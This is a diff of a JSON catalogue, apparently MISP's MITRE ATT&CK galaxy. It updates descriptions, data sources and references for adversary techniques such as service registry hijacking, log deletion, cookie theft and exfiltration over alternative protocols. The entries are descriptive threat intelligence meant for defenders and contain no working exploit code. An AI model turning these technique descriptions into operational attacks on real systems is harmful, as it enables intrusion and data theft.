+ "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)",
"meta": {
"external_id": "CAPEC-478",
"kill_chain": [
@@ -4173,8 +4211,12 @@
"https://attack.mitre.org/techniques/T1574/011",
"https://capec.mitre.org/data/definitions/478.html",
"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
+ "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/",
"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
"https://twitter.com/r0wdy_/status/936365549553991680",
+ "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
+ "https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
+ "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost",
"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
]
},
@@ -4321,6 +4363,7 @@
"mitre-attack:collection"
],
"mitre_data_sources": [
+ "Script: Script Execution",
"File: File Access",
"Command: Command Execution"
],
@@ -4337,7 +4380,7 @@
"value": "Data from Local System - T1005"
},
{
- "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
+ "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
"meta": {
"external_id": "CAPEC-93",
"kill_chain": [
@@ -4424,7 +4467,7 @@
"value": "Exploitation of Remote Services - T1210"
},
{
- "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
+ "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
"meta": {
"external_id": "CAPEC-309",
"kill_chain": [
@@ -4614,12 +4657,10 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
- "File: File Content",
+ "Command: Command Execution",
"File: File Metadata",
"File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "Command: Command Execution"
+ "Process: Process Creation"
],
"mitre_platforms": [
"Linux",
@@ -4709,7 +4750,7 @@
"value": "Credentials from Web Browsers - T1503"
},
{
- "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",
+ "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",
"meta": {
"external_id": "CAPEC-497",
"kill_chain": [
@@ -4729,7 +4770,7 @@
"https://attack.mitre.org/techniques/T1083",
"https://capec.mitre.org/data/definitions/127.html",
"https://capec.mitre.org/data/definitions/497.html",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
]
},
"uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
@@ -4865,7 +4906,7 @@
"value": "Obtain Device Cloud Backups - T1470"
},
{
- "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ",
+ "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ",
"meta": {
"external_id": "T1048",
"kill_chain": [
@@ -4886,6 +4927,7 @@
"refs": [
"https://attack.mitre.org/techniques/T1048",
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
@@ -4960,7 +5002,8 @@
"Windows",
"Office 365",
"SaaS",
- "Google Workspace"
+ "Google Workspace",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1550",
@@ -4998,7 +5041,7 @@
"value": "Service Registry Permissions Weakness - T1058"
},
{
- "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.",
+ "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
"meta": {
"external_id": "T1059",
"kill_chain": [
@@ -5017,7 +5060,10 @@
"Network"
],
"refs": [
- "https://attack.mitre.org/techniques/T1059"
+ "https://attack.mitre.org/techniques/T1059",
+ "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1",
+ "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
+ "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
]
},
"uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
@@ -5210,7 +5256,7 @@
"value": "Component Object Model Hijacking - T1122"
},
{
- "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.",
+ "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.",
"meta": {
"external_id": "T1213",
"kill_chain": [
@@ -5226,11 +5272,13 @@
"macOS",
"SaaS",
"Office 365",
- "Google Workspace"
+ "Google Workspace",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1213",
"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
+ "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events",
"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
]
},
@@ -5288,7 +5336,7 @@
"value": "Kernel Modules and Extensions - T1215"
},
{
- "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
+ "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
"meta": {
"external_id": "T1612",
"kill_chain": [
@@ -5306,7 +5354,8 @@
"refs": [
"https://attack.mitre.org/techniques/T1612",
"https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild",
- "https://blog.aquasec.com/malicious-container-image-docker-container-host"
+ "https://blog.aquasec.com/malicious-container-image-docker-container-host",
+ "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
]
},
"uuid": "800f9819-7007-4540-a520-40e655876800",
@@ -5510,31 +5559,6 @@
"uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4",
"value": "Data Encrypted for Impact - T1471"
},
- {
- "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)",
- "meta": {
- "external_id": "T1185",
- "kill_chain": [
- "mitre-attack:collection"
- ],
- "mitre_data_sources": [
- "Process: Process Access",
- "Logon Session: Logon Session Creation"
- ],
- "mitre_platforms": [
- "Windows"
- ],
- "refs": [
- "https://attack.mitre.org/techniques/T1185",
- "https://en.wikipedia.org/wiki/Man-in-the-browser",
- "https://www.cobaltstrike.com/help-browser-pivoting",
- "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
- "https://cobaltstrike.com/downloads/csmanual38.pdf"
- ]
- },
- "uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
- "value": "Man in the Browser - T1185"
- },
{
"description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.",
"meta": {
@@ -5559,7 +5583,7 @@
"value": "Hidden Files and Directories - T1158"
},
{
- "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
+ "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1591",
"kill_chain": [
@@ -5571,12 +5595,35 @@
"refs": [
"https://attack.mitre.org/techniques/T1591",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "https://www.dobsearch.com/business-lookup/"
+ "https://www.sec.gov/edgar/search-and-access"
]
},
"uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"value": "Gather Victim Org Information - T1591"
},
+ {
+ "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",
+ "meta": {
+ "external_id": "T1619",
+ "kill_chain": [
+ "mitre-attack:discovery"
+ ],
+ "mitre_data_sources": [
+ "Cloud Storage: Cloud Storage Enumeration",
+ "Cloud Storage: Cloud Storage Access"
+ ],
+ "mitre_platforms": [
+ "IaaS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1619",
+ "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html",
+ "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
+ ]
+ },
+ "uuid": "8565825b-21c8-4518-b75e-cbc4c717a156",
+ "value": "Cloud Storage Object Discovery - T1619"
+ },
{
"description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.",
"meta": {
@@ -5806,12 +5853,16 @@
"kill_chain": [
"mitre-attack:reconnaissance"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592",
- "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
@@ -5943,7 +5994,7 @@
"value": "Remote Service Session Hijacking - T1563"
},
{
- "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
+ "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
"meta": {
"external_id": "T1539",
"kill_chain": [
@@ -6503,6 +6554,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Access"
@@ -7153,13 +7205,14 @@
"value": "Downgrade System Image - T1601.002"
},
{
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
"meta": {
"external_id": "T1021.006",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
+ "Service: Service Metadata",
"Process: Process Creation",
"Network Traffic: Network Connection Creation",
"Logon Session: Logon Session Creation",
@@ -7172,6 +7225,7 @@
"https://attack.mitre.org/techniques/T1021/006",
"http://msdn.microsoft.com/en-us/library/aa384426",
"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
+ "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
]
},
@@ -7482,6 +7536,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -7567,7 +7622,7 @@
"value": "Archive via Library - T1560.002"
},
{
- "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). ",
+ "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ",
"meta": {
"external_id": "CAPEC-659",
"kill_chain": [
@@ -7575,11 +7630,14 @@
"mitre-attack:credential-access"
],
"mitre_data_sources": [
+ "Script: Script Execution",
+ "Command: Command Execution",
"Process: Process Creation"
],
